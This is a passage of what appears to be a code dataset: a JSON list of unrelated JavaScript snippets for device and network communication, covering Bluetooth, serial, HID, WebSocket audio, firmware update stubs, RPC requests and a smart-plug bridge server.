command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t})\\r\\n}\",\n \"OLDsendFirmware(data) {\\n console.log('[3] bleTransport: TODO sendFirmware(data)');\\n console.log('[3] bleTransport: data =', data);\\n return Promise.resolve();\\n /*TODO\\n this._emitInitializeEvent(ObjectType.DATA);\\n return this.getFirmwareState(data)\\n .then(state => {\\n this._debug(`Sending firmware: ${state.toString()}`);\\n const objects = state.remainingObjects;\\n if (state.hasResumablePartialObject) {\\n const object = state.remainingPartialObject;\\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\\n }\\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\\n });\\n */\\n }\",\n \"sendSendSerialPortsMessageToServer() {\\n var message = {};\\n this.sendMessageToServer('sendSerialPorts', message);\\n }\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function sendData(blob) {\\n\\n\\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\\n\\tfetch(\\\"/upload_sound\\\", {\\n\\tmethod: \\\"post\\\",\\n\\tbody: blob\\n\\t});\\n}\",\n \"function requestDevStatus() {\\n if(mConnectedToDev) {\\n return;\\n }\\n\\n mNbReqStatusRetry++;\\n if(mNbReqStatusRetry >= 6) {\\n logger.warn('[ctrl-test] Request device status without response. Stop!');\\n return;\\n }\\n\\n devComm.sendStatusReportReq(SelectedGW);\\n\\n setTimeout(requestDevStatus, 5*1000);\\n\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"function transmitAudioHexBytes(audioBlob) {\\n\\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// FileReader()\\n\\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\\n\\tvar binaryHexData = buildMessage(\\\"DATA\\\", \\\"\\\");\\n\\tvar view = new DataView(arrayBuffer);\\n\\tvar viewLen = view.byteLength;\\n\\tfor (var i = 0; i < viewLen; binaryHexData += (\\\"00\\\" + view.getUint8(i++)\\n\\t\\t\\t.toString(16)).substr(-2).toUpperCase())\\n\\t\\t;\\n\\tconsole.log(\\\"socketSend@main \\\" + binaryHexData.length);\\n\\twsSnd.send(binaryHexData);\\n}\",\n \"function chromeAppMessageHandler(response) {\\n console.debug(response);\\n switch (response.responder) {\\n case \\\"list\\\":\\n const list_html = generateDropDownList(response.data);\\n document.querySelector(\\\"#device-select\\\").innerHTML = list_html;\\n document.querySelector(\\\"#device-select\\\").dispatchEvent(change_event);\\n break;\\n case \\\"connect\\\":\\n device_connected = true;\\n $(\\\"#connect\\\")\\n .removeClass(\\\"btn-outline-success\\\")\\n .addClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Disconnect\\\");\\n document.querySelector(\\\"#baudrate\\\").setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n document\\n .querySelector(\\\"#device-select\\\")\\n .setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n break;\\n case \\\"disconnect\\\":\\n // TODO(kammce): Actually evaluate that the device has connected properly\\n device_connected = false;\\n table_init = false;\\n telemetry_raw = \\\"\\\\r\\\\n\\\";\\n $(\\\"#connect\\\")\\n .addClass(\\\"btn-outline-success\\\")\\n .removeClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Connect\\\");\\n document.querySelector(\\\"#baudrate\\\").removeAttribute(\\\"disabled\\\");\\n document.querySelector(\\\"#device-select\\\").removeAttribute(\\\"disabled\\\");\\n $(\\\"#refresh\\\").click();\\n break;\\n case \\\"update\\\":\\n break;\\n case \\\"read\\\":\\n term.write(response.data.replace(/\\\\n/g, \\\"\\\\r\\\\n\\\"));\\n break;\\n default:\\n console.warn(\\\"Unknown response\\\");\\n break;\\n }\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"sendFormatDataResponsePDU() {\\n\\n const bufs = Buffer.from(this.content + '\\\\x00', 'ucs2');\\n\\n this.send(new type.Component({\\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\\n msgFlags: new type.UInt16Le(0x01),\\n dataLen: new type.UInt32Le(bufs.length),\\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\\n }));\\n\\n }\",\n \"function HandleData(data)\\n{\\n var avrNum = this.avrNum;\\n if (avrNum == null) {\\n Log('Data from unknown device!');\\n return;\\n }\\n var str = data.toString();\\n // wait for null at end of string\\n var j = str.indexOf('\\\\0');\\n if (j > -1) str = str.substr(0, j); // remove null\\n // process each response separately\\n var lines = str.split(\\\"\\\\n\\\");\\n var id;\\n for (j=0; j= 4 && str.substr(1,1) == '.') {\\n id = str.substr(0,1);\\n str = str.substr(2);\\n }\\n if (id != 'e') {\\n if (str.substr(0,2) != 'OK') {\\n Log('AVR'+avrNum, 'Bad response:', str);\\n continue;\\n }\\n str = str.substr(3);\\n }\\n // ignore truncated responses (may happen at startup if commands\\n // were sent before AVR was fully initialized)\\n if (!id) continue;\\n avrOK[avrNum] = 1;\\n avrNum = HandleResponse(avrNum, id, str);\\n }\\n}\",\n \"function appxsendfilehandler(x) {\\r\\n if (appxIsLocalReady()) {\\r\\n switch (x.messagepart) {\\r\\n case -1:\\r\\n var msgfilenamedata = [];\\r\\n var filepath = appx_session.currsendfile.filename;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Saving File...\\\");\\r\\n appx_session.currsendfile.filedata = [];\\r\\n setTimeout(function setTimeout1() {\\r\\n //send client file path length\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: hton32(filepath.length),\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client file path\\r\\n for (var vi = 0; vi < filepath.length; vi++) {\\r\\n msgfilenamedata.push(filepath.charCodeAt(vi));\\r\\n }\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: msgfilenamedata,\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client status EOF\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [3, 1],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Download Complete...\\\");\\r\\n setTimeout(function setTimeout2() {\\r\\n if ($(\\\"#appx-status-msg\\\").html() === \\\"File Download Complete...\\\") {\\r\\n appxClearStatusMsgText();\\r\\n }\\r\\n }, 1000);\\r\\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\\r\\n\\r\\n break;\\r\\n case 3:\\r\\n appx_session.currsendfile.filename = x.data.filename;\\r\\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\\r\\n appx_session.currsendfile.filedatareceived = 0;\\r\\n appx_session.currsendfile.blocksreceived = 0;\\r\\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"$(\\\") > -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\\r\\n }\\r\\n else {\\r\\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\\r\\n }\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"/\\\") == -1 && appx_session.currsendfile.filename.indexOf(\\\"\\\\\\\\\\\") == -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(\\\"$(userHome)\\\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\\r\\n }\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Creating File: \\\" + appx_session.currsendfile.filename);\\r\\n appx_session.currsendfile.filecreated = false;\\r\\n CreateFile(appx_session.currsendfile);\\r\\n break;\\r\\n case 5:\\r\\n appx_session.currsendfile.blocksreceived += 1;\\r\\n appx_session.currsendfile.filedatareceived += x.data.length;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Downloading... Received: \\\" + appx_session.currsendfile.filedatareceived + \\\" Bytes of \\\" + appx_session.currsendfile.datalengthneeded.toString() + \\\" Needed\\\");\\r\\n AppendFile(x.data);\\r\\n break;\\r\\n\\r\\n default:\\r\\n //append data to file via local connector\\r\\n break;\\r\\n }\\r\\n }\\r\\n else {\\r\\n //send client status EOF\\r\\n if (x.messagepart != -1) {\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [0, 0],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n }\\r\\n }\\r\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function performPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n\\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\\n // This will wake the device from \\\"Modern Standby\\\".\\n if ((action == 2) && (dev.aquired.majorver > 9)) {\\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\\n }\\n }\",\n \"async function sendPicture() {\\n const req = {\\n imagebytes: bas64,\\n }\\n alert('Enviado com sucesso');\\n }\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"function transferByte(b) {\\n\\treturn new Promise((resolve, reject) => {\\n\\t\\tlet txBuff = new Buffer([reverseByte(b)]);\\n\\t\\tlet rxBuff = new Buffer(1);\\n\\t\\tRPIO.spiTransfer(txBuff, rxBuff, 1);\\n resolve(reverseByte(rxBuff[0]));\\n\\t});\\n}\",\n \"function fx000(res) {\\n global.clog(\\\"[ss_reqHan][fx000][SENT]\\\");\\n res.writeHead(200, { \\\"Content-Type\\\": \\\"audio/wav\\\" }); \\n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\\n res.write(sendingfile);\\n res.end();\\n}\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
\\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"inbound(count, obj) {\\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\\n const p = Promise.resolve(handler[obj.type](obj));\\n p.then(\\n res => D(commandDevice).sendResponse(count, false, harden(res)),\\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\\n );\\n }\",\n \"function send_button_state(hex_state) {\\n $.ajax({\\n url: \\\"webpower/set/\\\" + hex_state,\\n success: function() {\\n console.log(\\\"sent: \\\" + hex_state)\\n },\\n });\\n }\",\n \"actuateBell(req, res) {\\n const keyValuePairs = req.body.split('|') || [''];\\n const command = getUltralightCommand(keyValuePairs[0]);\\n const deviceId = 'bell' + req.params.id;\\n const result = keyValuePairs[0] + '| ' + command;\\n\\n if (IoTDevices.notFound(deviceId)) {\\n return res.status(404).send(result + NOT_OK);\\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\\n return res.status(422).send(result + NOT_OK);\\n }\\n\\n // Update device state\\n IoTDevices.actuateDevice(deviceId, command);\\n return res.status(200).send(result + OK);\\n }\",\n \"send(msg) {\\n if (this.connectionId < 0) {\\n throw 'Invalid connection';\\n }\\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\\n });\\n }\",\n \"function sendPost(data, callback) {\\nvar options = {\\n host: 'ws.audioscrobbler.com',\\n path: '/2.0/',\\n method: 'POST',\\n headers: {\\n 'Content-Type': 'application/x-www-form-urlencoded',\\n 'Content-Length': data.length\\n }\\n }\\n , doPOST = http.request(options, function(request) {\\n var reqReturn = ''\\n request.setEncoding('utf8')\\n request.on('data', function(chunk) {\\n reqReturn += chunk\\n })\\n request.on('end', function() {\\n // console.log('[POST RESPONSE] : ' + reqReturn)\\n if (typeof(callback) == 'function')\\n callback(reqReturn)\\n })\\n }).on('error', function(err) {\\n // TODO\\n })\\ndoPOST.write(data)\\ndoPOST.end()\\n}\",\n \"function sendPostResponse() {\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tvar delaySend = false;\\n\\t\\t\\t\\t\\t// build appropriate response\\n\\t\\t\\t\\t\\tswitch(command) {\\n\\t\\t\\t\\t\\t\\tcase 'end':\\n\\t\\t\\t\\t\\t\\tcase 'continue':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"continue\\\" response');\\n\\t\\t\\t\\t\\t\\tcase 'start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', id:deviceId};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\tcase 'device_ready':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"device_ready\\\" response:');\\n\\t\\t\\t\\t\\t\\t\\tvar task = device.taskGroup.getNextTest();\\n\\t\\t\\t\\t\\t\\t\\tif(task) {\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending next task: ' + task);\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:task};\\n\\t\\t\\t\\t\\t\\t\\t} else { // no more tasks, report\\n\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(!clientConnection.isTestDone) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : setting istestdone to true');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.reporter.createReport();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending EndGame');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('is the next test ready?',\\n\\t\\t\\t\\t\\t\\t\\t\\t clientConnection.isNextTestReady);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isNextTestReady) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isNextTestReady = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdevice.taskGroup.restart();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tNo more tasks.');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'nada'};\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'sdk_social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('Adding US Social test set');\\n\\t\\t\\t\\t\\t\\t\\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('setting tests to social_test_start');\\n\\t\\t\\t\\t\\t\\t\\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'task_finished':\\n\\t\\t\\t\\t\\t\\tcase 'log_start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'log_end':\\n\\t\\t\\t\\t\\t\\t\\t// hold off on sending response if previous messages\\n\\t\\t\\t\\t\\t\\t\\t// have yet to be received\\n\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isLogFinished()) {\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t// if previous message never gets resent, we need to send\\n\\t\\t\\t\\t\\t\\t\\t\\t// the response after a timeout\\n\\t\\t\\t\\t\\t\\t\\t\\tif(delaySend === false) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tsetTimeout(function () {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isDelayedResponseSet() === true) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.flush();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.sendDelayedResponse();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}, 120000);\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdelaySend = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.setDelayedResponse(response);\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\t\\t\\tmessage = '';\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tif(!delaySend) {\\n\\t\\t\\t\\t\\t\\tsendResponse(200, message);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t}\",\n \"function transmit(fullBuffer) {\\n\\twsSnd.send(\\\"\\\" + fullBuffer.length + \\\" \\\");\\n\\tvar siz = 2048;\\n\\tvar idx, tmpBuf;\\n\\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, idx + siz);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\tif (idx != fullBuffer.length) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\twsSnd.send(\\\" \\\");\\n\\tconsole.log(\\\"TRANSMIT START\\\");\\n}\",\n \"function btn_OnTouch() {\\n bt.Connect(\\\"SerialBT\\\");\\n}\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"function systemCommandResponseCallback(error, stdout, stderr)\\n {\\n var responseString =\\n 'stdout: ' + pipeToString(stdout)\\n + 'stderr: ' + pipeToString(stderr)\\n + 'error: ' + error;\\n\\n \\t// Write the response and close the request\\n\\t\\tserverResponse.writeHead(200, { \\\"Content-Type\\\": \\\"text/plain\\\" });\\n\\t\\tserverResponse.end(\\\"RPi RESPONSE:\\\\n\\\" + responseString);\\n serverResponse.end();\\n }\",\n \"async postAPI(url, values) {\\n\\t\\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\\n\\t\\ttry {\\n\\t\\t\\tconst result = axios.post(url, values)\\n\\t\\t\\t\\t.then((response) => {\\n\\t\\t\\t\\t\\treturn response.data;\\n\\t\\t\\t\\t})\\n\\t\\t\\t\\t.catch((error) => {\\n\\t\\t\\t\\t\\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\\n\\t\\t\\t\\t\\treturn error;\\n\\t\\t\\t\\t});\\n\\t\\t\\treturn result;\\n\\t\\t} catch (error) {\\n\\t\\t\\tthis.log.error(error);\\n\\t\\t}\\n\\t}\",\n \"function onRequest(request, response){\\r\\n\\tvar command = request.headers[\\\"command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar cmdRcvd = \\\"\\\\n\\\\r\\\" + new Date() + \\\"\\\\r\\\\nIP: \\\" + deviceIP + \\\" sent command \\\" + command\\r\\n\\tconsole.log(\\\" \\\")\\r\\n\\tconsole.log(cmdRcvd)\\r\\n\\tswitch(command) {\\r\\n\\t\\t//---- (BridgeDH - Poll for Server APP ------------------\\r\\n\\t\\tcase \\\"pollServer\\\":\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"ok\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"Server Poll response sent to SmartThings\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\tbreak\\r\\n\\r\\n\\t\\t//---- TP-Link Device Command ---------------------------\\r\\n\\t\\tcase \\\"deviceCommand\\\":\\r\\n\\t\\t\\t//----- Simulated power data Selection ----------------------\\r\\n\\t\\t\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tif (action == \\\"onWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", onWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else if (action == \\\"offWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", offWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t//----- Real data ----------------------\\r\\n\\t\\t\\t\\tprocessDeviceCommand(request, response)\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tbreak\\r\\n\\t\\r\\n\\t\\t//---- Energy Meter Simulated Data Return ---------------\\r\\n\\t\\tcase \\\"emeterCmd\\\":\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tvar engrCmd = action.substring(0,3)\\r\\nconsole.log(\\\"engrCmd = \\\" + engrCmd)\\r\\n\\t\\t\\tvar engrData = action.substring(3)\\r\\nconsole.log(\\\"engrData = \\\" + engrData)\\r\\n\\t\\t\\tif (engrCmd == \\\"Con\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"useTodayResponse\\\")\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"engrStatsResponse\\\")\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tvar respData = \\\"\\\"\\r\\n\\t\\t\\tswitch(engrData) {\\r\\n\\t\\t\\t\\tcase \\\"DecWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"DecMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase 